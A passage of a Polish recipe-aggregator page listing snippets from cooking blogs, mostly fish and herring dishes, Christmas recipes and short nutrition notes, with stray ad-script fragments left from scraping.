jeszcze 1-2 minuty. Rada: marchewkę możesz także przyprawić świeżym imbirem, który należy zetrzeć razem z cebulą i razem z nią przesmażyć na maśle. Tym razem marchewkę podaliśmy z rybą smażoną w panierce według tego przepisu: Ryba smażona w panierce. Wychodzi najlepsza, gdy trzymamy się tego przepisu Artykuł Tarta marchewka na gęsto. Pyszny dodatek do obiadu. PRZEPIS pochodzi z serwisu

Kulinarna Polska
Kurczak po cygańsku – szybki przepis na obiad 90

wolnym ogniu przez około 15 minut. Kurczak po cygańsku – szybki przepis na obiad   Zobacz inne przepisy na szybki obiad: Kurczak zapiekany w jogurcie – błyskawiczny przepis na obiad Ryba smażona w chrupiącej panierce – szybko i pysznie Sos boloński z parówkami Spaghetti z sosem pomidorowym – przepis na obiad Ryba z warzywami pieczona w papilotach Kurczak zapiekany w sosie śmietanowo-koperkowym Artykuł

e-PrzepisyKulinarne
Pączki z serków homogenizowanych 60

ktoś z niego skorzysta. U mnie problem tkwi chyba jedynie w tonie tłuszczu, w jakim pączki muszą się smażyć. Nigdy nie ogarniałam smażenia na głębokim oleju, czy to frytek, ryb czy innych mięs. I to też nie jest tak, że nie jem nigdy frytek poza domem. Jem, smażone w ten sposób, ryby nad morzem. Jednak dopóki sama nie muszę zanurzać

Kardamonovy
ZAPIEKANY DORSZ Z ROZMARYNEM 77

Ryby podawać możemy na różne sposoby zarówno smażone jak i... Artykuł ZAPIEKANY DORSZ Z ROZMARYNEM pochodzi z serwisu CookMagazine

COOKMAGAZINE
Detoks – 5 dzień 77

piątym dniu diety oczyszczającej mamy w menu jogurt naturalny, mandarynki, sałatkę z rybą oraz makaron w sosie pomidorowym. Zdrowe, pyszne i oczyszczające posiłki. Menu – 5 dzień detoksu – posiłki Śniadanie -> Kubeczek jogurtu naturalnego oraz 30g płatków owsianych II śniadanie -> 2 mandarynki Obiad -> Makaron w sosie pomidorowym -> Sprawdź przepis Podwieczorek -> Kubeczek jogurtu naturalnego oraz(...)borówek albo 3 truskawki Kolacja -> Sałatka (z rybą) -> Sprawdź przepis Powodzenia! Artykuł Detoks – 5 dzień pochodzi z serwisu Kulinarny Blog - wiesz jak gotować

Kulinarnyblog.pl - wiesz jak gotować!
Marchewka z groszkiem 78

płynną” i raczej twardszą). Dziś przepis na taką marchewkę, którą właśnie przygotowuję najczęściej i która najbardziej mi smakuje. Tak przygotowana marchewka z groszkiem to idealny dodatek do ryby czy mielonych kotlecików. około 600 g marchewki 1/3 szkl. mrożonego groszku lub kilka łyżek groszku konserwowego z puszki ok. 1/2 łyżeczki soli 1-2 łyżeczki cukru 2 łyżki masła 1 płaska

Smaki Na Talerzu
Dorsz z imbirem i chili z piekarnika 88

Pyszny pomysł na rybę. Dzięki dodaniu imbiru i chili ma zdecydowany smak

Stare Gary
Najlepsze przepisy 2020 96

niż porządny udziec z indyka pieczony w dużej ilości aromatycznych przypraw .  Duża popularnością cieszyły się również   przepisy świąteczne a wśród nich krokiety z kapustą i grzybami (pychotka), ryba po japońsku , która stanowi spora konkurencje dla tradycyjnej wigilijnej ryby po grecku oraz świąteczna czerwona kapusta z wolnowaru . Zdecydowanie muszę przygotowywać więcej dań z wolnowara i wrzucać je na bloga

Codzienne Gotowanie
Zdrowy i pożywny lunch – co warto zamówić w Krakowie? 83

wartościowych dań na całym świecie. Składa się wyłącznie z naturalnych składników, które zestawione ze sobą oferują unikalne doznania smakowe. Jego bazę stanowi gotowany ryż na bazie octu jabłkowego, surowe ryby, owoce morza, warzywa, wodorosty oraz dodatki – świeży imbir, ostry chrzan wasabi i sos sojowy. W składzie sushi nie ma zbędnych konserwantów, gdyż jest ono przygotowywane bezpośrednio przed dostarczeniem(...)daniem wartym polecenia nie tylko ze względu na jego doskonały smak. Jest to danie zdrowe i bogate w cenne składniki odżywcze niezbędne do prawidłowej pracy ciała i umysłu. Świeże ryby są bogatym źródłem cennych kwasów omega-3 i omega-6, z kolei biały ryż dostarcza węglowodanów, białka i energii do efektywnej pracy zarówno fizycznej, jak i umysłowej. Charakterystyczne dla sushi

sierotka maRysia w kuchni
Sałatka z paluszkami krabowymi i koperkiem 92

sałatka z dodatkiem paluszków krabowych jest bardzo często spotykana na wielu stołach podczas różnych imprez. Wbrew temu co sugeruje nazwa – paluszki krabowe to po prostu zmielone białe mięso ryb. Sprawdź przepis na: Błyskawiczna sałatka jarzynowa Składniki makaron ryżowy 3-4 łyżki kukurydzy z puszki 10 paluszków krabowych odrobinę świeżego koperku 1/2 świeżego ogórka 1- 2 łyżki majonezu sól pieprz

Kulinarnyblog.pl - wiesz jak gotować!
Sos niemiecki ( Sos Allemande) 92

oprócz tego jeszcze żółtka jaj oraz ewentualnie cebulę i nieco grzybów. Doprawiony jest natomiast sokiem z cytryny oraz gałką muszkatułową. Sos jest pyszny, doskonały do mięs, szczególnie kurczaka oraz ryb. Sos ten był znany również w Polsce w kuchni śląskiej. Na Górnym Śląsku podawano go najczęściej do ryb, klopsów i rolad. Przygotowanie sosu nie powinno sprawić żadnych problemów. Zapraszamy

Kuchnia Na Wypasie
Mini tortille z makrelą 115

Mini tortille z makrelą to pomysł na pyszną przekąskę, którą możemy przygotować bardzo szybko, ponieważ zrobienie pasty z ryby jest niezwykle proste. Przekąski takie sprawdzą się w wielu sytuacjach. Możemy je serwować na kolację lub różnego rodzaju imprezy czy spotkania z przyjaciółmi. Mini tortille z makrelą to nietrudny przepis na zimną przekąskę, która sprawdzi się zawsze i podbije podniebienia naszych(...)smakowych (np. pomidorowych), chociaż można też zrobić własne. Wszystko w zależności od tego, ile czasu mamy akurat do dyspozycji. Takie mini tortille z makrelą zasmakują nie tylko wielbicielom ryb! Przekąski z tortilli możemy nadziewać różnym farszem, a ja proponuję wypróbować z pastą rybną. Roladki z makrelą wyglądają efektownie i zachwycają swoim smakiem. Staną się hitem niejednej imprezy! (adsbygoogle = window.adsbygoogle || []).push

Danka Pichci
Jak mrozić jedzenie – 10 zasad 82

dań, ale na pewno nie do ich dekoracji – zupełnie stracą wygląd Sosy na bazie jajka – oddzielą się Jogurt naturalny, serek wiejski czy śmietana – staną się wodniste Ryby, która spędziły w lodówce kilka dni Jak rozmrażać jedzenie? Rozmrażanie to zupełnie inna historia – na osobny wpis . Najważniejsze, żebyście pamiętali, że wyjęty z zamrażalnika produkt spożywczy powinien całkowicie rozmrozić(...)zostawiamy, żeby riozmrażało się w temperaturze 0-4 stopnie. Inna metoda jest taka, że zalewamy produkt zimną wodą. Wodę zmieniamy co poł godziny, aż mrożonka się rozmrozi. Pamietaj, żeby ryby zawsze rozmrażać zapakowane w folię. Owoce morza możesz rozmrozić błyskawicznie, przelewajac je gorącą wodą. Od razu musisz je wtedy przygotować. Nie odstawiaj do lodówki czy na kuchenny blat. Szczegóły dotyczące

Niedzielny kucharz
Jak przechowywać mięso 82

jedzenie. Polecamy poradnik o zasadach bezpiecznego przygotowania mięsa, który nazwaliśmy 7 grzechów głównych przy obróbce mięsa. Koniecznie przeczytaj nasz poradnik: Jak przechowywać owoce. No i wreszcie poradnik : Jak przechowywać ryby i owoce morza . Dowiesz się z niego jak sprawdzić czy ryba jest świeża (niepakowana, pakowana, filety, mrożona), w jakiej temperaturze ją przechowywać, jak przygotowywać , jak piec/smażyć i jak mrozić

Niedzielny kucharz
Bigos wigilijny – przepis na pyszną świąteczną potrawę 79

koniec gotowania dodajemy powidła śliwkowe, próbujemy i ewentualnie jeszcze raz doprawiamy do smaku. Bigos wigilijny – przepis na pyszną świąteczną potrawę Zobacz przepisy na inne potrawy na kolację wigilijną: Ryba smażona w chrupiącej panierce – szybko i pysznie Paszteciki z kapustą i grzybami Kapusta z fasolą Pierogi z kapustą i pieczarkami pieczone w piekarniku Ryba po grecku – tradycyjny przepis Artykuł Bigos wigilijny

e-PrzepisyKulinarne
Świąteczne polędwiczki z dorsza 93

Kolejnym przepisem na świąteczną rybę są polędwiczki z dorsza zapiekane w słodkim sosie. Czytaj więcej

Ana Mari's world
Rybka po grecku 59

Ryba po grecku to jedno z tych dań, którego nie powinno zabraknąć na świątecznym stole. Składniki: 1 kg fileta z ryby (tilapia) 4 marchewki 3 średniej grubości pory 2 pietruszki połowę selera Sposób przygotowania: Warzywa zetrzeć na grubych oczkach na tarce. Por pokroić w prążki. Wszystko razem do patelni z odrobiną oleju i podsmażyć, dodać przyprawy według uznania (ja daje

Wasze Przepisy
Salsa z mango i granatem 57

Zrobiona w sumie pod rybę, po prostu. Od dawna chodziło za mną połączenie ryby z owocami, trzeba było to w końcu zrealizować. Świetne połączenie, świetne. Składniki: 1 mango pół granatu 1 mała czerwona cebula pół pęczka natki pietruszki 2 łyżki oliwy extra virgin sok z połowy cytryny sól pieprz   Mango obieramy, kroimy w kostkę (pamiętajcie o pestce w środku

Kardamonovy
Surówka z kiszonej kapusty 61

Zupełnie nie planowałam wrzucać dziś żadnego posta, ale nie mogę się powstrzymać. Poza tym dziś piątek, pewnie w wielu domach jest ryba. A do ryby najlepsza jest ta surówka. Wczoraj (dzięki mojemu tacie) jadłam jedną ze smaczniejszych kapust kiszonych ever. Dziś zrobiłam z niej klasyczną surówkę. Jest tak smaczna, że chyba nie doczeka obiadu. Składniki: 300 g kiszonej kapusty

Kardamonovy
Pesto z natki pietruszki z kaparami i słonecznikiem 73

właściwie cały rok. Jest to jakaś namiastka moich śródziemnomorskich smakowych potrzeb. Pesto z natki pietruszki z kaparami i słonecznikiem to sos, który można użyć do wielu potraw: do makaronów, ryb, drobiu, zup. My najczęściej jemy je z makaronem i jakąś sałatą z winegretem . Do tego oczywiście jakiś ser długodojrzewający i w sumie nic więcej nie potrzeba. Tym razem pesto zjedliśmy(...)kolor – mam to przećwiczone. Przynajmniej mój blender powoduje, że pesto nie ma tak pięknie zielonego koloru, jak to robione w moździerzu. Pesto z koperku, które robiłam dziś do ryby, miażdżyłam ręcznie. Wyszło zielone jak łąka w środku lata (czy coś). Artykuł Pesto z natki pietruszki z kaparami i słonecznikiem pochodzi z serwisu Kardamonowy

Kardamonovy
Ratatouille po kambodżańsku 87

prażonego i mielonego Jak zrobić Kambodżańskie Ratatouille Warzywa pokrój w kostkę. Mango obierz i zetrzyj na grubych oczkach. Chili posiekaj na mniejsze kawałki. Kurczaka lub wołowinę, wieprzowinę a nawet rybę, pokrój na wielkość kęsa. Rozgrzej wysoki rondel i wlej olej. Dodaj cukier i następnie ostrożnie wymieszaj go z olejem. Uważaj by go nie przypalić. Teraz dodaj mięso jakie wybierzesz(...)rybę. Smaż mięso, aż lekko pokryje się cukrem. Teraz dodaj zielona pastę Kroeung, sos rybny, warzywa, chili i wymieszaj. Posyp prażony ryżem i wlej wodę gorącą, tak by lekko przykryć całość. Gotuj na średniej temperaturze ok. 30 minut, lub do momentu, kiedym warzywa będą miękkie, przed końcem, dodaj starte mango. Jak zrobić prażony mielony ryż Rozgrzej patelnię bez tłuszczu. Wsyp

RafalCook
Niedobór witaminy D - problem społeczny 120

częściowo nogi). Jest to jeden z powodów, dla których ponad 90% Polaków ma deficyt tej witaminy. Drugim źródłem witaminy D jest oczywiście dieta. Znajdziemy ją m.in. w tłustych rybach morskich, tranie, jajkach, drożdżach, wątróbce, a także w mniejszych ilościach w mięsie oraz produktach mlecznych. Niestety pokrycie zapotrzebowania na tą witaminę wyłącznie za pomocą diety jest niemal niemożliwe. Aby dostarczyć(...)odpowiednią ilość musielibyśmy wypić dziennie kilkanaście litrów mleka, zjeść kilkadziesiąt jajek lub kilkaset gramów tłustej ryby morskiej. Nie jest to ani realne, ani zdrowe. Badania przeprowadzone wśród osób z prawidłowym stężeniem witaminy D wskazują, że ok. 80% pochodzi z syntezy skórnej, a tylko 20% z diety. W krajach, w których nie stosuje się wzbogacania żywności w witaminę

Z notatnika dietetyka
Dorsz Curry w żółtym Kroeung 79

Kroeung czyli Amok Trei Dorsz Curry, czyli Amok idealnie odzwierciedla równowagę smaków i unikalny akcent kuchni Khmerskiej dzięki Kroeung.  Dla wyjaśnienia to danie powinno być przygotowywane ze słodkowodnych ryb rzecznych. Pochodzenie Amok wydaje się, być mgliste i ciężko powiedzieć gdzie dokładnie i kiedy powstało, chociaż musisz, wiedzieć, że w Kambodży spożywa się Amok od pokoleń i z pewnością(...)spróbujesz tego dania, bo jest uważana za narodową potrawę tego kraju.  Czym jest dokładnie Amok? Jest to, gotowany na parze, podobny do musu krem ​​z pasty Kroeung, z rybą rzeczną i mlekiem kokosowym, podawany zwykle w kubku z liści bananowca lub łupinach orzecha kokosowego. Brzmi wspaniale, prawda. Moja wersja może ciut odbiega wyglądem od oryginału, ale zapewniam

RafalCook
Śledzie opiekane w zalewie octowej 127

Dziś zapraszam na skorzystanie z mojego przepisu na śledzie opiekane. Najlepszy i sprawdzony przepis, który przekazała mi moja moja mamusia. Ta opiekana ryba to coś pysznego. Prosty przepis na śledzie, który przygotujesz w kilka minut. Są smaczne, nie za kwaśne, takie w sam raz. Zapraszam. (adsbygoogle = window.adsbygoogle || []).push({}); Śledzie opiekane składniki: 1 kilogram świeżych śledzi wypatroszonych i bez głów olej(...)ząbek czosnku 1 łyżeczka gorczycy 4 ziela angielskie 3 liście laurowe (adsbygoogle = window.adsbygoogle || []).push({}); Śledzie opiekane w zalewie sposób wykonania: Śledzie myjemy pod bieżącą wodą i osuszamy. Następnie każdą rybę z osobna obtaczamy w mące. Na rozgrzaną patelnię wlewamy olej i smażymy śledzie z obu stron na złoto – brązowy kolor. Czosnek siekamy. Marchewkę i cebulkę kroimy w półplasterki

Olcia gotuje!
Pierożki gyoza – wersja na Wigilię 116

też chlebowa, lub żytnia – jak na zdjęciu) ½ łyżeczki soli 200 ml wrzątku 1 łyżka oleju do smażenia pierożków Nadzienie rybne 250 g surowych, obranych krewetek 300 g świeżej morskiej ryby (dorsz, flądra) ½ szklanki drobno posiekanej kapusty (białej, ale jeśli masz pak choy do ją dodaj) 1 cm kawałek imbiru starty 1 starty ząbki czosnku 1 łyżka siekanego szczypiorku 1 łyżka(...)nadzienie. Jeśli robisz nadzienie mięsne, sprawa jest prosta: przełóż do misy wszystkie składniki i dobrze wymieszaj całość. Wstaw do lodówki. W przypadku nadzienia rybnego: bardzo drobno przesiekaj krewetki i rybę, dodaj pozostałe składniki i wymieszaj. Krok 3 Wyjmij ciasto z lodówki, rozpakuj z foli i zagniataj przez 5 minut. Ponownie uformuj kulę, zawiń w folię i wstaw do lodówki

Niedzielny kucharz
Rodzaje japońskiej zupy ramen 91

brązowy bulion o smaku sosu sojowego (jap. shoyu). Zupa ta zazwyczaj zrobiona jest z rosołu drobiowego, ale często do jej przygotowania używa się kilka rodzajów mięsa np. wołowiny lub ryby. Sposób doboru mięsa zależy od regionu w jakim jest przygotowywana. Shoyu-ramen jest najpopularniejszym rodzajem ramenu. Jeśli w danej restauracji nie określono konkretnego rodzaju wywaru, można spodziewać się, że będzie(...)wołowina. Zawarta w potrawie sól nie wpływa na wygląd bulionu, dlatego zupa Shio jest jasna i klarowna. Shio najczęściej podawany jest z mięsem z kurczaka, pędami bambusa i rybami. Tonkotsu Ten rodzaj japońskiej zupy ramen wywodzi się z okolic miejscowości Kiusiu. Ramen tonkotsu składa się z kości wieprzowych, które gotuje się nawet do 15 godzin – do momentu, aż wytworzy

Słodkie okruszki
Pierożki rybki z pasztetem i sosem żurawinowym 86

widelca przyduszam. Tam gdzie nie ma nadzienia i ma być ogon palcami zgniatam żeby zrobić wcięcie. Koniec ogona nacinam nożyczkami, z drugiej strony tez nacinam gdzie ma być buzia ryby. Rybie łuski  nacinam nożyczkami na cieście robiąc to delikatnie żeby nie przeciąć ciasta. Oczy robię z pieprzu. Rybki smaruje rozbełtanym jajkiem i układam na blaszce na papierze. Wstawiam

wesoła kuchnia
Pyszny karp w panierce i o tym dlaczego warto jeść karpia 109

roślin i zwierząt. Wiele kompleksów stawowych zostało nawet wpisanych na listę Natura 2000, a niektóre na listę rezerwatów przyrody. Delikatne mięso karpia zachwyciło podniebienia władców, stąd nazwa najpopularniejszej odmiany ryby – karp królewski. Karp, a dieta Karp z lokalnych stawów to doskonałe źródło aminokwasów, witamin i składników mineralnych. Zawiera dobrze przyswajalne białko i tłuszcze o prozdrowotnym działaniu. Jego mięso jest bogate(...)masło i olej do smażenia (pół na pół) lub masło klarowane Przygotowanie: Płat karpia przepłukujemy kilka razy pod zimną wodą, osuszamy ręcznikiem papierowym i układamy na desce. Nacinamy mięso ryby tak by nie przeciąć skóry, tak co 2-3 cm. Kroimy płat na mniejsze kawałki. Skrapiamy je sokiem z cytryny, oprószamy solą i pieprzem. Odstawiamy na około godzinę do lodówki

Słodkie okruszki
Śledzie po grecku 90

Śledzie po grecku prawie to samo aczkolwiek nie to samo, co ryba po grecku. Bardzo proste do zrobienia i bardzo smaczne. Pięknie ozdobią nasz gościnny i imprezowy stół oraz posmakują. Ilości warzyw można z powodzeniem modyfikować, tak samo jak i ilość octu. Bardzo ważna uwaga, to nigdy nie łączyć ciepłych warzyw ze śledziami, to samo [...] Artykuł Śledzie po grecku pochodzi

Pieprzyć z Fantazją
Golonka pieczona w glazurze z papryką wędzoną pimenton 89

Golonka pieczona w glazurze z wędzoną papryka pimenton Golonka pieczona w glazurze z papryką pimenton to golonka w wersji de lux. Delikatne mięso, cudowny tłuszczyk, aromat

Korniszonki
Świąteczne ciasta – 12 przepisów 86

Boże Narodzenie w moim domu jest raczej tradycyjne. Na stole królują sprawdzone, świąteczne potrawy takie jak zupa grzybowa, barszcz, krokiety, ryby i kapusta na wiele sposobów. Z drugiej strony świąteczne ciasta są doskonałą okazją, aby nieco poeksperymentować i puścić wodze fantazji. Najpopularniejsze świąteczne ciasta Bez wątpienia najpopularniejszym, świątecznym ciastem jest piernik. Występuje on w wielu wariacjach – począwszy od tradycyjnego(...)potrzeba zaledwie czterech podstawowych składników. No i oczywiście jest przepyszne! Zobacz też inne przepisy na Boże Narodzenie Schab ze śliwką Zakwas buraczany na barszcz Uszka wigilijne Paszteciki z mięsem Ryba po grecku Śledzie z żurawiną Zobacz też nowe przepisy Świąteczne ciasta – 12 przepisów Prezent dla osoby która lubi gotować – 8 pomysłów Bogracz Piernik dojrzewający Pieczone jabłka w sosie

okolicepalnika.pl
Kwasy omega 3,6 i 9 i ich rola w organiźmie 88

jest właściwa proporcja kwasów omega 3,6 i 9. Typowo polska dieta nie pozwala na jej zachowanie – spożywamy zbyt wiele tłuszczów roślinnych zawierających kwasy omega 6 a zbyt mało ryb, które są najważniejszym źródłem kwasów omega 3. Produkty żywnościowe bogate w kwasy 3,6 i 9 to właśnie tłuste ryby morskie, oliwa z oliwek, orzechy włoskie, oleje roślinne, avocado, orzeszki

FoodMagazine.pl - Przepisy kulinarne
Błyskawiczna pasta ze śledzi, twarogu i jajka + film 71

puszka śledzi w oleju (170 g) 2 jajka ugotowane na twardo 150 g twarogu półtłustego pęczek szczypiorku z dymki 3 łyżki majonezu czarny pieprz sól przepis Odsączoną z oleju rybę umieszczamy na talerzu i dokładnie rozgniatamy widelcem a następnie przekładamy do miski. Twaróg również przekładamy na płaski talerz i rozgniatamy widelcem, po czym dodajemy do śledzi. Do ryby i twarogu

Smakowite Dania
NALEŚNIKI Z ŁOSOSIEM I SALSĄ VERDE 77

Odstaw na momenty by smaki się przegryzły. 2. Na naleśnikach na jednej połowie, rozsmaruj porcję serka śmietanowego. Dołóż po porcji rukoli. Na niej ułóż po plastrze wędzonego łososia. Posmaruj rybę salsą verde. Posyp kaparami i listkami świeżego oregano. Print NALEŚNIKI Z ŁOSOSIEM I SALSĄ VERDE Łosoś król oceanów, salsa verde gdzie wydaje się „za dużo” a jest wszystko w punkt(...)wymieszaj. Odstaw na momenty by smaki się przegryzły. Na naleśnikach na jednej połowie, rozsmaruj porcję serka śmietanowego. Dołóż po porcji rukoli. Na niej ułóż po plastrze wędzonego łososia. Posmaruj rybę salsą verde. Posyp kaparami i listkami świeżego oregano. SMACZNEGO! Artykuł NALEŚNIKI Z ŁOSOSIEM I SALSĄ VERDE pochodzi z serwisu Globus Kulinarny

globuskulinarny
12 Pomysłów na sałatkę z tuńczykiem 177

Sałatki to nie tylko warzywa i owoce, ale także sycące, pełnowartościowe składniki, takie jak mięso czy ryby. Dzisiaj przygotowałam dla was listę 12 najlepszych przepisów na sałatki z tuńczykiem. (adsbygoogle = window.adsbygoogle || []).push({}); Tuńczyk jest niezwykle odżywczą rybą – zawiera dobrze przyswajalne białko i zestaw nienasyconych kwasów tłuszczowych, które niezbędne są dla prawidłowego funkcjonowania naszego organizmu. Zatem połączenie tuńczyka i warzyw

BabskiePorady.pl - Przepisy
Śledzie po żydowsku 1708

śledziami bywa różnie. Jedni je uwielbiają, inni nie jedzą w ogóle, a niektórzy jedzą okazjonalnie, czyli głównie z okazji świąt lub imprez rodzinnych. Dla wielbicieli tych ryb są one dobre pod każdą postacią, a na Wigilię Bożonarodzeniową muszą być obowiązkowo. Jednym ze sposobów przygotowania śledzi na stół wigilijny są śledzie po żydowsku. Przygotowuje się je bardzo szybko i na drugi(...)żydowsku to świetny pomysł na Wigilię Bożego Narodzenia, Sylwestra czy każdą inną okazję. Tak przygotowane śledzie są łagodne w smaku i na pewno przypadną do gustu wielbicielom tych ryb i nie tylko. Śledzie po żydowsku na pewno pojawią się u mnie na stole wigilijnym. A u was? Koniecznie dajcie znać! (adsbygoogle = window.adsbygoogle || []).push({}); Składniki na Śledzie po żydowsku: około

Danka Pichci
Spaghetti bolognese z dodatkiem różowego wina. 107

zachwycający słodki aromat gruszek. Klasyczny, dobrze zbilansowany róż, z kwiatowym i orzeźwiającym finałem. Jest to subtelne, bardzo eleganckie wino na najlepsze momenty. To półsłodkie wino idealnie pasuje do ryb, przystawek, delikatnych pasztetów drobiowych, deserów i jak najbardziej do makaronów. Dlatego dziś moja propozycja podania wygląda właśnie tak.  Ale w ofercie win zamojskich znajdziecie wiele innych, które podacie z każdym(...)innym daniem, począwszy od dziczyzny a kończąc na rybach i słodkich tortach.  Składniki; Składniki; 50 dag makaronu spaghetti 1 cebula drobno posiekana 2 rozgniecione ząbki czosnku 1 obrana marchew i starta na tarce 3/4 szkl. wina różowego od winiarni zamojskiej 50 dag mielonej łopatki wieprzowej 400 ml posiekanych pomidorów  z puszki 3 łyżki przecieru pomidorowego 2 łyżeczki suszonego

Radość kipiąca uśmiechem.
Śledzie z pietruszkowym pesto 79

kaszubsku. Jednego jesteśmy pewni, kawałki zamarynowanego w soku i skórce z cytryny śledzia ozdobione pesto z pietruszki będą apetycznie prezentowały się na wigilijnym stole i posmakują wszystkim wielbicielom tej ryby. Udostępnij Śledzie z pietruszkowym pesto – składniki Śledzie: 500 g filetów śledziowych a’la Matjas skórka starta z jednej cytryny 2 łyżki oliwy 2 łyżki soku z cytryny pieprz Pietruszkowe

niecodziennikpary
Nowy trend eko. Lodówka zero waste 62

inny rodzaj żywności. Najzimniej jest na półce dolnej, najcieplej na górnej półce oraz drzwiach. Na najniższej półce najlepiej przechowywać produkty, które szybko się psują, takie jak surowe mięso czy ryby. Środkowa część lodówki będzie idealna na mleko oraz produkty mleczne, takie jak: ser, masło jogurty, śmietanę,kefiry czy twaróg. Jogurty, kefiry czy mleko warto układać chronologicznie (artykuły z krótszą datą(...)innych produktów. Dlatego wszystkie produkty powinny być zamknięte w pojemniku lub zabezpieczone w inny sposób. Ponadto, należy uważać, żeby np. ciasta nie kłaść obok intensywnie pachnącej wędliny czy ryby. Lepiej na każdy produkt znaleźć osobne półki. Unikając marnowania jedzenia trzeba również pamiętać o kupowaniu produktów, które są potrzebne. Zakupy na zapas niosą ryzyko, że któryś artykuł się zmarnuje. Większość produktów

ProstePesto.pl
Śledzie po kujawsku 895

smakują o wiele lepiej. Dodatkowo możemy je doprawić według własnych upodobań smakowych. Dzisiaj mam dla was przepis na śledzie po kujawsku. Jest to bardzo smaczna i aromatyczna wersja tej ryby. Śledzie po kujawsku to kawałki śledzia w słodko-kwaśnym sosie pomidorowym z duszonymi jabłkami. Jest to dość ciekawe połączenie, ale uważam, że warte spróbowania, ponieważ kwaśne jabłka doskonale pasują(...)tych ryb. Przepis na śledzie po kujawsku jest bardzo prosty, a do ich przygotowania nie potrzebujemy wielu składników, bo oprócz śledzi i przypraw, dwa kwaśne jabłka i koncentrat pomidorowy. Tak więc jeżeli szukacie nowych przepisów na święta i nie tylko to gorąco polecam wypróbować wam śledzie po kujawsku! (adsbygoogle = window.adsbygoogle || []).push({}); Składniki na Śledzie po kujawsku: 4 solone filety śledziowe

Danka Pichci
Polędwica z dorsza w orzechach 92

Polędwica z dorsza zawsze smakuje wyśmienicie, jednak usmażona w orzechach smakuje wybornie. Polecam do pieczonych ziemniaków, do sałaty czy na kanapkę. Będzie wybornie. Ryba w orzechach. CZYTAJ DALEJ

Moje Małe Czarowanie
Łosoś pacyficzny w otrębach 90

Lubicie ryby? my je uwielbiamy i zajadamy często, są bardzo zdrowe i bogate w nienasycone kwasy tłuszczowe Omega 3, tak dobre dla naszego organizmu. Polecam łososia pacyficznego bo jest przepyszny, delikatny a przyrządza się go w kilka minut aby potem cieszyć się pysznym daniem. Polecam gorąco. Łosoś w otrębach. CZYTAJ DALEJ

Moje Małe Czarowanie
Pstrąg złocisty w ziołach z limonką 90

Pstrąg to bardzo pyszna ryba, delikatna i znakomita do zapiekania w całości. Zakupiłam pstrąga złocistego i stąd mój pomysł aby podać go z ziołami i limonką. Z pieczonymi ziemniakami smakuje wybornie, polecam. Pstrąg w ziołach. CZYTAJ DALEJ

Moje Małe Czarowanie
Pulpeciki z karpia w zupie rybnej. Karp nie tylko na święta! 72

Pomimo ogólnej wiedzy, że ryby to samo zdrowie w Polsce nadal spożywa się ich zdecydowanie za mało, co niestety nie jest korzystne dla naszego organizmu. Pomimo tego, że ponad 80% konsumentów wie jak istotna jest obecność ryb w diecie, tylko niewielki procent wprowadza je do swego menu, na co dzień. Myślę, ze przy okazji zbliżających… Artykuł Pulpeciki z karpia

Jaśkowe Klimaty
Domowy kisiel żurawinowy 117

Domowy kisiel żurawinowy - zdrowy deser dla dzieci i na Wigilię Listopad to czas, kiedy w sklepach dostępna jest świeża żurawina, warto zatem przygotować coś pysznego z

Korniszonki
Golce – kaszubski specjał z ziemniaków 92

polu lub z tego, co udało im się znaleźć w lesie. Ziemniaki, owoce i warzywa oraz grzyby to podstawa kuchni kaszubskiej. Mimo, że to region obfitujący w dużą ilość ryb, to jednak mięso i ryby jadano raczej od święta. Postawą codziennego menu były ziemniaki i wszystko, co tylko można było z nich „wyczarować”. Najpopularniejsze były właśnie kluski

Kuchnia Na Wypasie
Pierogi ruskie z bryndzą 149

Pierogi ruskie z bryndzą Ruskie pierogi kochamy wszyscy! W zależności od regionu przepisy na słynne ruskie mogą się różnić, ale zawsze te pierogi wspaniale smakują. Mój

Korniszonki
Wegańska zupa krem z pieczonej dyni 128

Zupa krem z pieczonej dyni Jesienią na naszych stołach królują dynie - pieczone, duszone, smażone, prażone. Szczególnie pyszna jest dynia pieczona, z której można przygotować wiele wspaniałych

Korniszonki
Ziemniaki pieczone w mleku. Genialny przepis z nowej książki Marka Łebkowskiego 85

cennej wiedzy kulinarnej. Jako że mamy serce z kartofla, w oczy od razu rzuciły nam się ziemniaki pieczone w mleku. Postanowiliśmy przetestować ten przepis. Ziemniaki miały być dodatkiem do ryby, ale gdy pojawiły się na stole, to one grały pierwsze skrzypce i zniknęły jako pierwsze. Są przepyszne! Przepis na ziemniaki pieczone w mleku Składniki: 1 kg ziemniaków średniej wielkości(...)najlepsze w kuchni polskiej. Dzięki książce nauczysz się, jak przyrządzić barszcz, ulepić idealne pierogi czy wyrobić pyszne ciasto drożdżowe. Znajdziesz tu tradycyjne przepisy na smaczne dania z warzyw, mięsa, ryb i mąki, na zupy oraz słodkości, a także wskazówki i porady. Przez kolejne etapy przygotowania wielu potraw krok po kroku przeprowadzą Cię zdjęcia. Zachwyć się domowymi smakami i wzbogać swój

Kulinarna Polska
Papryka marynowana z miodem i czosnkiem 147

Papryka marynowana z miodem i czosnkiem Papryka marynowana z miodem i czosnkiem to ciekawa wariacja na temat marynowanej papryki. Swój ciekawy smak zawdzięcza dodatkowi naturalnej słodkości

Korniszonki
Smalec (czysty) 81

parze. Ja smalcu używam najczęściej zamiennie z masłem klarowanym ( przepis ). Do smażenia używam oleju kokosowego, gdy jego zapach i słodkawy smak dobrze się komponuje, czyli np. do panierowanych ryb i drobiu albo też naleśników paleo . Do smażenia wołowiny, niezależnie czy jako stek czy na gulasz, używam właśnie smalcu (domowego). Placki ziemniaczane, czy jajecznica tylko na smalcu, ale jajka sadzone czasem(...)jeszcze bardziej nierównowagę pomiędzy tłuszczami omega-3 i omega-6 . Smalec jest smaczny, bardzo praktyczny i zdecydowanie ma miejsce w diecie paleo, ale nie powinniśmy równocześnie zapominać o tłustych rybach i/lub suplementowaniu omega-3. Zobacz też nasze uwagi odnośnie mięsa: Mięso – zdrowie, pieniądze i sumienie . Smacznego! Wartości odżywcze Wartość energetyczna Węglowodany Tłuszcze Białko przyswajalne błonnik ogółem wielonienasycone

PaleoSMAK
Super szybki placek ze śliwkami i gruszkami 151

Jesienny placek ze śliwkami i gruszkami Polecam extra przepis na jesienny deser. To proste i szybkie ciasto pozwoli zagospodarować wszystkie jesienne owoce, które zapodziały się w

Korniszonki
Gotuj jak szef kuchni. Praktyczne Porady 92

